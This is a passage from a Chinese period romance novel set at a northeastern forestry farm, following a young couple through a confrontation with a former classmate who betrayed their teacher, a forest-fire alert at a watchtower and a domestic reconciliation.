这回严雪敢肯定了,身后这男人绝对是呵了声。
她有点好笑,“哄媳妇要什么脸皮?都像你这么端着,媳妇早气跑了。”
身后的男人沉默了,又过了会儿,“我没端着。”
“那是我端着了,行吧。”严雪懒得和他掰扯,拽了拽背上的背筐。
一拽,竟然没松。再拽,男人才总算放了手,“你很看好他们?”
“为什么不看好啊?”严雪理了理肩带,“我看刘卫国和这女知青挺好的,两个人都不错。”
“就怕她家里不同意。”祁放走过来和她肩并着肩。
周文慧毕竟是城里来的,她愿意,不代表她家里人也愿意。
严雪也知道,转头望望他,“同志我发现你有点悲观啊,总爱往最坏的地方想。”
这个她早就有所察觉了,尤其是下午在山上,两人关于“卖血”这个话题聊过后。
也不知道他是天性如此,还是经历过什么,平时那种对什么都不感兴趣的态度,往深里就是对什么都无所谓,对什么都不抱有期待。
这可完全不像一个才二十出头的年轻人,倒有点像隔壁刚受过巨大打击的郭长安,只不过郭长安身上那种绝望更沉重。
如果不是他其他方面都表现得挺正常,既没有自杀倾向,也没有暴躁抑郁,她都怀疑他是不是有什么心理问题。
祁放听到这话明显一顿,没有看她,而是将视线投向远方,“我只是做最坏的打算。”
“打算呢,是要做最坏的,这样不论发生什么都有个准备。”这一点严雪表示认同,“但打算是打算,期待是期待。人类的脚尖向着前,眼睛也长在前面,不就是告诉我们要往前走,朝前看?”
可万一期待落空了呢?万一前方是无尽的黑暗呢?
有那么一秒,祁放很想问出口,目光触及那双弯似新月的眸子,又全部顿在了嘴边。
她这样挺好的,又何必把他那些事拿出来破坏她的心情……
祁放转回了视线,严雪却难得没有就此打住,而是问起另一件事,“你是不是不想去参加培训?”
之前刘卫国问起时,他的态度就有些敷衍,还故意转移了话题。
当时两人才刚结婚,严雪也没有深究,今天郎书记提起,他依旧不积极,她就真的怀疑了。
这话让祁放再次陷入了沉默,良久,他才低声道:“没。”
顿一顿,又望着严雪认真补充:“培训我会去参加。”
这转折让严雪有些意外,男人却像是想通了什么,甚至伸手揉了揉她的头,“回去吧,明天还得把天麻晒上。”
这回可比上回揉得重多了,还是站着揉的,严雪立马感觉到了来自身高的压制。
这让她有点不爽,“你能不能别按我头?我才十八周岁,还能再长。”
是啊,才十八周岁。
这么小的姑娘,已经嫁给他吃苦了,总不能还让她受穷吧……
*
天麻的处理方式分为生晒和熟晒两种,生晒会保留更多营养成分,但不易保存,所以大家选择的都是熟晒,即在晾晒前先将天麻煮熟。
早上吃过饭,严雪和祁放就趁着大地锅火没熄,开始煮天麻。等煮到里面没了白芯,沥干水,再放到屋顶上去晒。
祁放既然个子高,腿长,爬梯子这件事当然要由他来负责。
严雪就站在下面,手搭个凉棚,指挥他把盖帘放到最能晒到太阳的地方,“这几天应该没雨吧?”
祁放跳下来,拍着手掀眸看了看天色,“也可能下雪。”
这笑话就有点冷了,虽然长白山区和大小兴安岭的确可能在这时候下雪,有时候五月份了还在下,严雪上辈子动不动就在网上刷到发自灵魂的《春天在哪里》。
她又朝房顶看了看,“那可得盯着点,别让雨或者雪给浇了。”
二十多块钱呢,顶祁放半个月工资了。
祁放也看出来了,这姑娘是真对钱有兴趣,忍不住又想伸手揉她脑袋,被她机警地躲开。
严雪真是好久没这么被人当成小孩子了,还瞪了他一眼,才转身回屋。
那双眼睛总是笑盈盈的时候多,有其他情绪的时候少,祁放还是头一回被瞪,盯着她娇小的背影看了会儿。
正要把梯子收起来,有人来了,“小祁在家啊。”
竟然是于场长,祁放不动声色掀了掀眼皮。
这可不像个会在这里出现的,刚刚进屋的严雪看到人,也有些意外,不动声色和祁放对了眼。
夫妻俩的意思很明显,无事不登三宝殿,不知道他这是又憋了什么屁。
果然于场长坐下,也没什么要和他们寒暄的,直接就提起了上次黑瞎子的事,“翠云受伤,前两天才出院,勇志也被吓得不轻,我这些天又忙又操心,都没抽出工夫来跟你们说声谢谢。”
黑瞎子那事发生后,于家的确连个谢字都没说过,不像郎家人,从上到下表现得都很真诚。
因为这,背地里不少人悄悄议论,说祁放好歹救了于勇志一条命。
于场长现在过来,也不知道真是之前太忙,才想起来,还是听到了那些议论。反正祁放表情淡淡,严雪也笑盈盈的,等着看对方葫芦里卖的什么药。
毕竟郎家昨天还给了两大块发糕,一大碗咸菜呢,于场长可是空着手来的。
很快于场长就说到了自己此行的目的,“马上油锯手和拖拉机手的培训就要报名了,我已经跟刘大牛和胡长江打了招呼,让他们都推荐你,郎书记那边也多少会卖我点面子。你好好学,别辜负了我对你的期待。”
这要不是严雪表管到位,差点都听笑了。
明明是刘大牛和胡长江主动推荐的祁放,到他这里一转,就成了他让两人推荐的。
如果不是昨天才去了郎家,提前知道了消息,又清楚他到底是什么人,他们还可能真信了呢。
严雪笑得一脸惊喜,“那真是要谢谢组织上的信任,也多谢刘大牛胡长江两位师傅。”
就是没提于场长,没提于家,于场长表情一顿,“我也只能做到这种程度了,不好弄得太明显。”
“嗯嗯。”严雪继续点头,“对外我们一定不说这事和您有关。”
于场长再次噎住。
他主动来这趟,不就是想让他们领他的情,也出去说说这个事,省得再被人传他们家白眼狼?
于场长不由看向祁放,希望祁放能懂他的意思。
结果祁放这人平时冷得很,这会儿竟然跟在媳妇儿后面给他端茶倒水,“严雪说得对,我们一定守口如瓶。”
于场长有点肝疼,这两口子长得挺好,怎么一个比一个脑子不转?
最后他明示暗示,严雪和祁放愣是没懂,气得水没喝就走了,祁放给他倒那水太烫他也没法儿喝……
人一出院子,祁放立即拿起水杯泼进了脏水桶,还拎起暖水瓶重新涮了一遍。
他动作慢条斯理的,显然是没被这恶心人恶心事给恶心到。
严雪也了解他那爱干净劲儿,“咱俩这么气他,他不会又反悔了,在你那名额上动手脚吧?”
“不能,”祁放说,“除非他彻底不要脸了。”
就算他彻底不要脸了,还有郎书记呢,他一个场长,也不可能真豁出脸面不要。
“难怪他比郎书记大了快十岁,还只是个场长。”严雪不由感慨。
会不会做人,会不会办事,真的差太远了。于场长能当上这个场长,她都怀疑他是走了狗屎运还是上面有人。
像是知道她在想什么,祁放淡淡说了句:“于场长小舅子在县林业局。”
一下子把严雪给听乐了,“真的假的?人家不都是姐夫罩着小舅子吗?”
她真心笑起来,和平时单纯以笑脸待人还是有些区别的,眼睛弯弯,下面还有漂亮的卧蚕,好奇和狡黠仿佛全写在了眸子里。
祁放看着,涮杯的动作不自觉慢了慢,“真的,于场长年轻时长得不错。”
于场长媳妇严雪见过,的确长得远不如于场长,于翠云因为长得像爸还算好看,于勇志就……
“都是刘卫国跟你说的?”严雪朝男人眨了眨眼。
祁放“嗯”了声,刚准备把涮好的杯子放回去,外面又有人来找,“祁放在家吧?你看看这是不是你的信。”
是上回过来给他们送过柴火的大伟,祁放也就放下东西,出去接了过来。
然后这一看,眼神便是一沉。
“是寄到咱们林场的吗?”饶是已经看过地址,他依然问来人。
大伟毕竟不了解他,不知道他这声音里除了淡,还更多了几分冷,“是邮到镇上的,镇上没找到人,就查了查,送来了咱们林场。你看看是不是你的,不是还得送回去。”
“是我的。”祁放垂下眸,捏住信封的手指已不自觉收紧,“知道什么时候寄过来的吗?”
这大伟还真想了想,“得有一个多月了吧,反正在镇上放挺长时间了。”
见信确实是祁放的,他就没多留,“既然送到了,那我走了啊,也不知道谁连个地址都能写错。”
“有你的信?”严雪把昨天捡的茧蛹也煮上了,没跟出去,见男人回来随口问了句。
问完半晌,也没听到有人回应。
她回头瞅了眼,祁放已经将信封撕开了,正低眸看信上的内容,脸上没什么表情。
虽然他平时也淡淡的,但直觉就是告诉严雪,这人情绪不对。
果然男人只扫了两眼,就将信纸信封一折,拉开挡着锅底坑的铁片,丢了进去。
锅里还煮着东西,锅下火正旺,几乎是立刻就有火苗卷了上来,将其付之一炬。而男人就垂眸望着那些纸张燃烧,仿佛整个人又回到了初见那天的大雪,不,比他们初见那天还要冰冷。
严雪忍不住握住他的手,“怎么了?”
那指尖处果然是一片冰凉,男人甚至下意识躲了下,“不关你的事。”
严雪动作一顿。
祁放也察觉到自己无意间说错了话做错了事,“我是说这件事和你没关系。”
还是不对,这回他紧紧抿起了唇,好半天,才多少平复了点心绪,反手来握严雪,“你别担心,不是和你有关的事。”
严雪担心的又不是这个,刚那一瞬间男人身上透出来的孤冷,好像连最后一丝活人气都要没有了。
而压在寒冷厚重的冰雪之下的,是能焚毁一切的岩浆,是翻腾不休的愤怒,和仿佛藏在最深处的无望。
她两只手都握了上去,“你没事吧?”
“我没事。”祁放竟然想也不想就用了和她当初一样的回答,说完自己才发现,“抱歉。”
不知为什么,严雪倒能理解点当初祁放的感觉了。
说到底他们都是很能扛事的人,能扛事,自然也不会轻易表现出脆弱。两个月的时间,还不够他们彼此熟悉到能把内心剖白给对方看。
她也就没多问,“啊”了一声,“茧蛹子还在锅里,不会糊了吧?”
祁放腿长,立马上前打开大地锅的盖,“没事,还有不少水。”
“还是再添点吧,别干锅了。”严雪也看了看。
其实这么点时间,茧蛹还不可能煮熟,严雪这么说,不过是故意转移男人的注意力,也给他找点事做。
祁放不知道清不清楚,但还是听她的,又往锅里添了点水。
严雪看了一眼表,“再过五分钟就可以了,等凉透了,你是想干煸还是油炸。”
“都可以。”祁放垂着眼帘,显然还没怎么从之前的情绪中走出来。
严雪还想再说点什么,场部喇叭响了,“祁放同志!祁放同志请到场部来一趟!祁放同志……”
她有些莫名地看了男人一眼,“找你的?”
祁放看表情也不像是知情,但还是回里屋穿了外套,“我过去一趟。”
不过十来分钟他就回来了,开始收拾东西,“今天上山巡防的人拉肚子去不了,我先上山看几天。”
每年春天四五月风大,秋天草干,都是森林防火最紧要的时间,全体职工都得到山上的瞭望塔巡防。祁放原本被安排在下个月月初,和刘卫国一起,没想到突然提前了。
严雪挑了挑眉,“谁安排你去的?不会是于场长吧?”
“不知道。”祁放并不是很在意的样子。
严雪也就不再问了,望着他,“饭还在家吃吗?”
“不了,你给我带点干粮咸菜就行。”说到这,一直低头忙活的男人终于抬起眼,叫了她一声:“严雪。”
“嗯。”
“给我几天时间,几天就好。”
男人望着她,也不知是在说上山巡防,还是他糟糕的情绪。
“那你注意安全,记得好好吃饭。”严雪没再说什么,到厨房帮他准备吃食去了。
人一走,她自己也没什么心情继续做蚕蛹,将东西暂时放去仓房凉着。
第二天,祁放没在家,倒是刘卫国跑来分享八卦了,“我跟你们说个事儿,你们肯定不知道。”
进门才发现祁放不在,“祁放呢?他这种娶了媳妇儿连门都不出的也会不在家?”
“上山巡防的有个人拉肚子,他先去顶着了。”严雪解释了句,问:“你刚说什么事?”
刘卫国还是先吐槽了一句:“我说场部大喇叭找他干嘛,原来是为这个。”才道:“前两天郎月娥那前夫来找她,你们不是碰上了吗?”
一听郎月娥,严雪就大概知道是什么事了,但还是问了句:“月娥姐怎么了?”
“她那前夫对她动手,不是被抓了个现行吗?”刘卫国幸灾乐祸,“这回郎书记家火大了,他可要倒霉了。”
说着都没等严雪问,自己就压低了声音,“我听说郎书记家直接将人扭送去了镇上,要告他强女干未遂。这要是判了,他怎么也得蹲个十年。”
看来郎家的确采纳了她的建议,并帮她保密,没有说主意是她给出的。
刘卫国非常好奇,“她那前夫真那么不是东西?”
在这事有个定论前,严雪当然不会乱说话,只笑笑不语。
刘卫国也知道这两口子嘴都紧,好奇归好奇,却没有再问,而是说起了郎月娥前夫康培胜,“脑子有病吧?在外窝囊废一个,在家倒喝上酒打媳妇儿了,活该他落郎书记手里。”
这思想倒和李树武媳妇不太一样,严雪忍不住看看他,“你觉得男人不应该打媳妇?”
刘卫国十分警觉,“那当然,你可别跟周文慧乱说啊,我没那个毛病,我们老刘家都没那毛病。”
像是怕严雪不信,他还又压低声音,“我们家都是我妈说了算,我爸哪敢碰她一指头?我妈要是火了,能拿着擀面杖追着我爸打。”
这严雪还真没看出来,黄凤英平时看着挺好相处的,倒是刘大牛和刘老爷子一脉相承的凶。
不过男女在体型、力量和体力上都有明显的差距,哪怕东北女性相对高壮,能追着男人打,多半也是因为男人让着。这个打估计也不是真的打,不然男人早还手了。
当然真正能打过男人的也不是没有,严雪上辈子就见过,能把自家男人夹在腋下打屁股……
虽然分享对象少了一个,但刘卫国现在的主要听众是严雪,和严雪八卦完,他也就心满意足回去了。
不过林场就这么大,刘卫国能知道,其他人自然也能知道。
接下来几天,这件事成了大家茶余饭后的谈资,有时候严雪出门倒垃圾,都能听到有人隔着板杖子小声议论。一会儿是郎月娥前小姑子过来闹,一会儿是郎月娥前婆婆过来求,看那架势,估计还有的折腾。
严雪没听那些传言,估摸着祁放也该消化得差不多了,准备上山给男人送趟吃的。
那天他走得急,她什么都没来得及准备,现在天不像冬天那么冷,东西放久了也放不住。
没想到刚转上上山的路,就被人叫住,“小严。”
严雪看过去,发现是同家属队一个小嫂子。
“你这是要上山?”小嫂子看看她背的鼓囊囊的布包,“上山把这位同志带上去,他找你们家祁放。”
严雪也就打量了下小嫂子身边的年轻男人,大概二十五六岁,面相斯文,戴着眼镜,中山装胸前的口袋里还别着钢笔。
年轻男人也在看她,笑容温和又礼貌,“同志你好,你是?”
“这是祁放爱人。”没等严雪说话,小嫂子已经道,“我家里还有活,就先回去了啊。”
“您去忙吧,谢谢您帮我指路。”年轻男人和她道过谢,这才转头重新看向严雪,“没想到祁放竟然结婚了。”
这话里透着熟稔,但严雪并不知道祁放还认识这号人,也没听祁放提起过。
她没接对方的话茬,反而弯起眉眼,边往山上走边笑着问:“同志你认识祁放?”
年轻男人只是笑,“嗯,我找他有点事,没想到这么不巧,他竟然上山了,他在林场一直负责看瞭望塔吗?”
这人显然不是梁其茂,嘴紧得很,自己的事一句不说,反而一路都在不动声色和严雪打听祁放。
严雪看出来了,自然也不会多说,甚至悄悄调整路线,带着对方走了条虽然远一点,但会暴露在瞭望塔望远镜下的路。
果然还没到山顶,瞭望塔下一个黑点闪出,是祁放过来了——
祁放:光天化日拉拉扯扯,成何体统!【指指点点】
刘卫国:你就说你没拉上得了呗~
师兄
==============
“去瞭望塔等我。”
祁放一下来就对严雪说,表情实在算不得好。
严雪反应慢了一秒,他已经回头冷声,“叫你去瞭望塔等。”
认识这么久,头一次用这种语气和严雪说话。
倒是来的那年轻男人笑了笑,“好歹是自家媳妇,态度好点。”
只换回祁放冷冷一声,“与你无关。”
看来这人祁放的确认识,但关系绝算不上好,严雪没再停留,转身走了。
所谓的瞭望塔,其实就是用黄花松在山顶搭起的一个塔楼。顶层有平台,平台上有棚,可以在上面居高临下观望四周,只有极个别重要地方用的是铁皮塔。
祁放看这几个山头不大,自然用的是黄花松,而用这种松木的原因也很简单——
够坚固,够直。
黄花松的主干是笔直笔直一根,又长,特别适合用来搭这类建筑,搭到二十多米完全没有问题。
就是太高了,严雪只是从下面往上望,都感觉人有些发晕。要每天站在上面巡防,没有点胆量还真不行。
严雪回头望望来时的路,没看到祁放和那年轻男人,想一想,还是决定爬上去。
瞭望塔因为高且窄,连带着楼梯也很陡峭,往上爬的时候,鼻尖几乎能贴在楼梯上。严雪足足花了数分钟,才总算爬到顶层的平台,和祁放轮班的另一个人见到,还在上面帮她接了一下带来的东西。
顶层的小平台不过八平米大,春秋两季防火最紧要的时候,瞭望员需要每十几分钟扫视一遍,每半小时汇报一次,吃、睡都在平台上。
祁放应该是临时把另一个人叫醒的,平台上被褥还散着,三十岁左右的男人一边拿着个砖头一样的无线电对讲机汇报风向,一面还打了个哈欠。
严雪不好打扰他,只无声说了句“谢谢”,就走去了来时那个方向的平台边。
山顶风本来就大,再爬上二十多米的高塔,严雪穿那点衣服瞬间就被吹透了。她拢了拢,努力克服着恐高往下打量,还是没有看到祁放和另一个人的身影。
“用这个。”男人讲完无线电,过来将望远镜递给严雪,忍不住又打了个哈欠。
严雪道谢接过,“不好意思把你吵起来了,在山上巡防很辛苦吧?”
“还行,”那人说,“咱这伐区新,人多,每年也就春秋两季。有些地方瞭望员常年在山上住着,那才叫无聊。”
林区瞭望员是个很辛苦的工作,瞭望塔又冷又小,吃不好睡不好,还要一个人面对着空寂的森林和大山。难得有个人上来,对方谈兴不错,和严雪说了不少话,严雪也用望远镜找到了祁放和那年轻男人。
祁放等严雪一走,就把人扯进了旁边的林子,“你来干什么?”
年轻男人倒还是笑呵呵的,甚至理了理被他扯乱的领口,“别激动嘛,我就是给你写信没见你回,有点担心,过来看看你,好歹也是师兄弟一场。”
“你也配给老师当学生?”祁放看他的眼神冷得像冰。
他还是笑,“和你比起来,我是差点,不然老师也不能更喜欢你……”
话没说完,人已经被祁放抵在了树干上,“所以你就举报他有境外关系,泄露国/家/机/密?”
林场所有人都觉得祁放性子淡,好像对什么都提不起兴致,包括严雪,但其实他以前不这样的。
他从小就喜欢看书,喜欢拆东西,家里大到收音机,小到手表,甚至自行车和木仓,哪个都被他拆过。
一开始还会落几个零件装不上,等到他十二岁,外公家的东西就都是他在修了,那时的他身上只有执着和专注。
可就在他全心等着自己大学毕业,能和老师一起为祖国机械建设贡献一份力的时候,世道变了。
而眼前这个人,这个所谓的师兄吴行德……
祁放的眼神像是随时要择人而噬,“你明知道他是当年国家公派的赴苏留学生,那些信也不过是他早年跟人请教的学术问题。”
“你跟我说没用,你应该去跟那些人说。”
话到此,吴行德脸上也没了笑,“逼死老师的又不是我,你冲我发什么?你以为没有我,他就不会被人查了?那些信就不会被发现了?”
他望向这个比自己高的年轻师弟,“你怎么还是这么天真?他当年留过苏,就不可能逃得过。”
“那也不能是你。”
来自敌人的攻坚,和来自自己悉心栽培的学生的背叛能一样吗?
祁放都不敢去想老师得知此事是什么心情,偏吴行德还有胆在此时提老师,“是我怎么了?老师说不定还高兴又能保全一个学生……”
这话简直无耻至极,祁放想也不想一拳砸过去,对方嘴角立马出现一片红肿。
吴行德不怒反笑,反手就打了过来,“你以为我不敢动手是吧?祁放,我想打你很久了!”
严雪知道这两人不会谈得太愉快,却没想到会这么快动手,在望远镜里看得心一提。
不过祁放这两年采伐也不是白干的,显然更占上风。严雪这人心是偏的,只要祁放不吃亏,不把人打出事来,她才不下去拉。
显然祁放这人再愤怒,脑海里始终留有一丝理智,不多久两人便分开了。
祁放有时候也痛恨自己这样的理智,痛恨自己在老师死后连找那些人讨个公道都做不到。
因为他还有顾忌,他有家人,他得罪不起那些现在还掌握着话语权的人……
吴行德也知道这一点,扶一扶眼镜,讽笑出声,“不是听说你家里挺牛的吗?你怎么不求家里帮老师?是你家里不愿意,还是也帮不了?”
这话实在意味深长,也直中祁放痛处,祁放居高临下睨着被自己揍倒在地的人,“你是真觉得我不敢把你怎么样?”
退去刚刚的暴怒,平静得有些让人不寒而栗。
吴行德这才想起,自己现在身处荒郊野岭,而整片山头除了他和祁放,可能只有祁放那个媳妇。如果真把祁放惹疯了,祁放甚至都不用动手,只要把自己打晕了绑起来,丢进有野兽出没的深山老林……
至于祁放那个小媳妇,愿不愿意救他还不好说呢,更别提还长得娇娇小小,一看便不堪一击。
吴行德头皮一阵发麻,也歇了继续刺激对方的心思。
见他老实了,祁放转身就走,完全不想了解他来找自己是什么目的。
吴行德却不能不说,“你就不想给老师平反?”
祁放想,祁放做梦都想给老师讨一个公道,哪怕老师人已经不在了。
但就像这大山面对不停劈砍而来的锯斧,他同样无能为力。
祁放脚步没停,吴行德只能自己挣扎着爬起来,“现在不一样了,有很多科研项目已经重新启动了,研究所也恢复了正常运转。当初不少东西都被毁了,现在研究所缺技术,也缺人才,老师的事肯定能得到重视。”
“现在研究所是谁说了算?”祁放只问了一句。
吴行德一顿,“为了给老师平反,为了不让老师那些心血白费,忍一忍是咱们这些学生应该做的。”
“所以你现在是靠着举报老师,成功投靠他们了?”祁放一针见血。
那张英俊的脸庞不再淡淡的没精神时,桃花眼里射出的不只有冷厉,还有讥讽,“你这次来,是想起了老师当初那些研究成果,想榨干老师最后一点价值?”
人太聪明,太敏锐,就不那么招人喜欢了。
吴行德很不喜欢这个师弟,从一开始就不喜欢,脑子好使也就罢了,还不能像其他一心搞研究的人一样傻一点。
但他都来了,总不能空手而归,“你难道就忍心看着老师那些心血蒙尘,再也见不了天日?那可是老师辛苦研究了大半辈子的东西,老师在九泉之下知道,就不痛心吗?”
祁放脚步一顿。
吴行德就知道拿老师说事,最能打动他,苦笑,“我知道你恨我为了保全自己,给那些人当枪使,可我也是没办法。现在人已经没了,我们总不能再让老师的心血也没了,即使死了还要背着污名。”
他叹气,“而且咱们不研究,也会有别人研究。再过几年,就算咱们肯拿出来,也没用了。”
这话终于让祁放转回了身,挑眉,“研究所现在研究到哪了?”
“哪有什么进展,当年连资料带成果一起毁了,还倒退了近十年。不然我也不能觉得现在是个好机会,过来找你。”
吴行德一看有戏,更加推心置腹,“现在研究所正是用人的时候,咱们要是能拿出东西来,我也好想想办法,把你弄回去。你这一身才华,困在这可惜了,何况你现在还不是一个人,总得为家里想想。”
虽然祁放对他那媳妇态度实在算不得好,但他那小媳妇长得的确很漂亮。
别管他是自暴自弃了,看上了对方的脸,还是有其他原因,才在本地说了媳妇,他应该都会心动。喜欢就带回去,给对方个好日子,不喜欢也能找到倚仗,借此踹掉对方。
果然祁放深深看了看他,眼神似打量,又似衡量。
好半晌,祁放才像是在脑内天人交战完,下定了决心,“我是想帮老师平反。”
吴行德听话听音,“有什么要求你尽管说,虽然你师兄我现在能力有限,未必能办到,但总能帮你想想办法……”
“但老师那些资料我是真没有,”祁放平静打断了他,“所以你也不用给我画大饼。”
如果一开始就被严词拒绝也便罢了,先升起希望,再跌下去,吴行德不仅失望,还感觉自己被耍了。
但他这人连背叛老师,转投整死老师那些人的事情都能做出来,养气功夫自然也是有的,只是笑了笑,“老师带过那么多学生,最喜欢的就是你了,甚至把你当成了亲儿子。我们这些人不知道,你还能不知道?”
“老师那些信放在哪,不是你告诉那些人的吗?”祁放平静反问。
不等吴行德开口,又带着嘲讽继续,“想必老师那些资料放在哪,你也很清楚,甚至还去翻找过。”
这话让吴行德表情一滞,很显然被他说中了。
祁放嘲讽更甚,“你就别白费工夫了,我走的时候还不知道老师会出事,老师也什么都没给我。师娘那边应该也是差不多的情况,与其在我们身上浪费时间,你还不如去问问当初去老师实验室和家里打砸的那些人。”
吴行德还想说什么,山顶瞭望塔突然传来尖锐的哨响。
祁放一听,转身便走,“最后奉劝你一句,早点回你的研究所去,山里可没你想的安全。”
他身高腿长,又习惯了林区的环境,几下就走得吴行德完全跟不上了。
想想刚才那声哨响,再想想祁放平静到欲择人而噬的眼神,吴行德最后还是理理衣服,往山下而去。
或许是他想错了,老师那些记载着核心内容的笔记根本不在祁放手里。
不然祁放一个老师的得意门生,十四岁就考上大学的天才少年,怎么会甘心窝在这山沟沟里做一个伐木工?
换成是他,用尽一切手段他也得想办法爬回城里……
祁放一路快步赶回瞭望塔,爬上去,和他轮班的石虎已经在跟对讲机那边汇报情况,“两点钟方向,700米,发现异常烟情,怀疑发生火灾。”
见祁放上来,他把望远镜一递,祁放接过来便看向了他所指的方向,“确实像火灾。”
祁放眼睛更尖,心算能力也极强,放下望远镜看了看,再抬起,很快报出一串更精准的数据。
石虎开始骂人了,“妈的那几个小崽子,不想活了也别上山祸害人。”
这让祁放偏头看了他一眼,他赶忙解释道:“是有几个孩子从那边跑出来,还是你媳妇儿先看到的。”
第 31-32 章
林区防火是大事,年年春秋都要强调,竟然还出了这样的岔子,林场对此表示出了非常的重视。
场部和几个重要位置的墙壁上全重新刷了防火标语,本来就在做防火宣传的广播也翻了倍,每天循环播放。
祁放跟石虎因为汇报及时,监测准确,避免了一场火灾的扩大,自然受到了表扬,估计还要跟局里申请个森林防火标兵。剩下就是反复强调春季防火的重要性,不能在山上抽烟,不能在山上点明火……
据说那天的火灾就是几个小孩在山上烤土豆引起的,虽然广播里没点出名字,但具体是谁大家心里都有数。
毕竟林场就这么大,很多事瞒不住人,而且这事也不用细打听,看谁家孩子屁股被打得走路姿势怪异就知道了。
严雪这边还比别人多听了个现场版,于翠云家儿子也去了,气得于翠云追着他打了半条街。
偏偏于翠云肩膀有伤,还打不着,最后是梁其茂把儿子拎回去揍了一顿,于翠云第二天疼得又去了趟医院。
“她家那教育法儿有问题,哪有平时不管,闯祸了只知道揍的?”郭大娘跟严雪在院子里一起摘菜的时候,这么跟严雪说。
严雪也觉得于家养孩子有点问题,于勇志和于翠云这个儿子都是,嘴上说得凶,但其实娇惯得很。
所以一个敢背着枪乱晃,一个哭着闹着要旱冰鞋,还在春季最容易起火的时候上山烤土豆。就连于场长说不让儿子再碰枪,她也持怀疑态度,毕竟于勇志到现在还喝着酒呢,也没见于家人管得了。
“还是大娘会教孩子,”严雪笑着道,“我们铁蛋儿多好,又聪明又懂事。”
“你当他就没偷着划过火啊?划完了还不知道放,让火苗把手给烫了。他胆子小,后面就再也不敢了,我也就装不知道。”
郭大娘显然是深谙什么时候该宽,什么时候该严,“我家这几个孩子,就长安挨的打最多,我也最疼他。小时候打他,是因为他性子拗,胆子又大,不管多危险的事儿,他都敢试试。那时候老人都说,这样的孩子有能为,管好了是个好样的,谁能想到……”
郭长安的确挺能干,不管是成为锯手助手,还是找对象,靠的都是自己,而不是家里。
但命运跟他开了个玩笑,到现在他还不得不躺在炕上。他受伤不足一百天,没法下地,就算以后能下地,也不知道还能不能走。
他出院也有一个多月了,一个院里住着,严雪愣是没听过他的声音,可见他究竟有多沉默。
严雪不想郭大娘太难过,不动声色转移了话题,“大娘你看这是芹菜还是幌子?”
郭大娘扶扶老花镜,赶忙把她手里那根拿走了,“这个可不能吃,吃不好要死人的。”
郭长平媳妇闲不住,季节工一停,农业队又还没开始种地,她就上山弄了些野菜。
婆婆丁、小根菜、燕儿尾还有不知从哪个暖和的阳坡薅的山芹菜,也就是大叶芹,根根不过一拿长短。
这东西包包子、包饺子都好吃,炒着拌着甚至蘸酱也不错,就一点不好,容易采到幌子。幌子跟大叶芹长得很像,只杆比大叶芹硬,反面不像大叶芹一样会反光,却有剧毒,两三根就能吃死人。
严雪当然知道那是幌子,她就是拿这个来转移郭大娘注意力的,果然郭大娘忘了刚刚的事,但她想起了别的——
“你和小祁结婚也有两三个月了吧?咋样?有没有动静?”
一见郭大娘压低了声音,严雪就知道八成是什么私密话,再听内容……
果然结了婚就不可能不被问这个,哪怕她和祁放目前还只是纯洁的室友关系。
睡一个被窝的室友也是室友。
严雪低了脑袋没说话,郭大娘一看就知道还没动静,“那你可得抓点紧了,这眼瞅着就是五月,小祁在家待不了几个月,又得上山。不趁这会儿赶紧要一个,搞不好就得等明年了。”
郭大娘倒不像是单纯在催,“咱们林场有些人嘴碎,你要是明年还没动静,又要说你的闲话。”
这严雪还能说什么,只能跟她保证,“我和祁放一定好好努力,争取今年就有,两年抱仨。”
“你还两年抱仨,生三胞胎呢?”郭大娘被她逗笑了。
严雪也想跟着笑,但是一抬头,就看到有个熟悉的颀长身影站在院门边,也不知道都听到了多少。
这就有点尴尬了,毕竟她今年就有两年抱仨还没经过对方的同意。
而且那天两人吵过之后,她虽然平静下来了,可一回想当时,情绪还是会有起伏。
这对她来说并不多见,以前外人说得再难听,她都能控制自己别往心里去的。
何况祁放那话细究也没有很难听,就是不太合时宜,她还是不痛快,甚至当面说了出来。
这让她心里多少有些别扭,好像她是个多喜欢小题大做的人似的。
结果她别扭,祁放比她更别扭,眼神对上她的那瞬间,甚至还躲了下。
脚步也是,还在门口顿了顿,才迈进院子,跟人打招呼,“郭大娘。”
郭大娘可没注意到两人的小别扭,笑着“诶”了声,“小祁回来啦?这脸咋整的?咋还青了块?”
“在山上磕的。”祁放进去把东西放下,很快又折出来,蹲在旁边帮两人一起摘菜。
他个子高,腿长,哪怕蹲着,也比坐在小板凳上的两个人高一截,郭大娘看看他,“我们这正说你呢,你跟小严也得抓点紧了。”
“嗯。”祁放垂着眼帘摘的认真,“争取今年就有,两年抱仨。”
果然还是听到了,严雪不自觉慢了下动作。
祁放察觉,立马把她手里那一把也拿过来摘,就是依旧没有看她。
郭大娘倒是把夫妻俩挨个看了一遍,眯眼笑起来,“我看行,你俩长得都好,孩子肯定好看。”
说着把摘好的菜一分,每样都给两人拿了些,“剩下不多了,我自己弄就行。小祁刚回来,你俩就别搁这儿陪我了。”
结果严雪愣是没动,“您也说剩下不多了,手都占了,摘完得了。”
她不动,祁放自然也没动,然后悄悄把她那边没摘的菜划拉到了自己这边。
严雪伸手摸了个空,才发现菜没了。待要拉回来,胳膊又太短有点够不到,只能就那么空着手和郭大娘聊天。
郭大娘看在眼里,赶忙加快动作,趁自己没吃撑之前将菜摘完了。
祁放立马自觉拿过扫帚,把地给扫了,该丢的丢,该拿去喂鸡的拿去喂鸡。
严雪没等他,自己先进屋放下菜,开始洗手。
不多会儿祁放进来,见她洗手也过来洗,用她洗剩下的水,抹她刚抹过的香皂。
其实以前也不是没一起洗过,毕竟家里就这一个脸盆,又大。但今天也不知道是不是太安静了,严雪又开始有些觉得别扭。
这让严雪加快了洗手的速度,正要甩甩水去拿毛巾擦,指尖突然被人捉住。
祁放的手很大,结婚那天穿鞋时严雪就发现了。
不仅大,手指还修长有力,覆着一层薄薄的皮肉,显得骨节分明。
此刻他只是轻轻一拢,她的小手就几乎全被拢了进去,隔着湿滑的水液还能感受到他指腹的薄茧。
严雪下意识抽了下,立即被整个儿抓紧,男人手上还有没洗净的香皂呢,竟然也能抓得住。
她不由抬起眼去看男人,看得男人顿了顿,拿过香皂在她手上又抹了一遍,“有泥。”
“好像我自己就不知道有泥,没洗干净似的。”严雪还是抽了出来。
这要是以往,祁放肯定就算了,毕竟以他的性子,本来也不像会主动去抓人手的。结果他竟然又握了上来,两只手都握了上来,低声,“我说错了,我说错了还不行吗?”
也不知道是在说刚刚那句“有泥”,还是前几天惹得严雪生气那些话。
而且这两句话怎么这么耳熟呢?
好像那天晚上碰到刘卫国,听刘卫国哄周文慧的时候说过来着……
就是他这么张冷淡的俊脸,再配上个冷淡的语气,怎么听怎么让严雪怀疑自己其实是听错了。
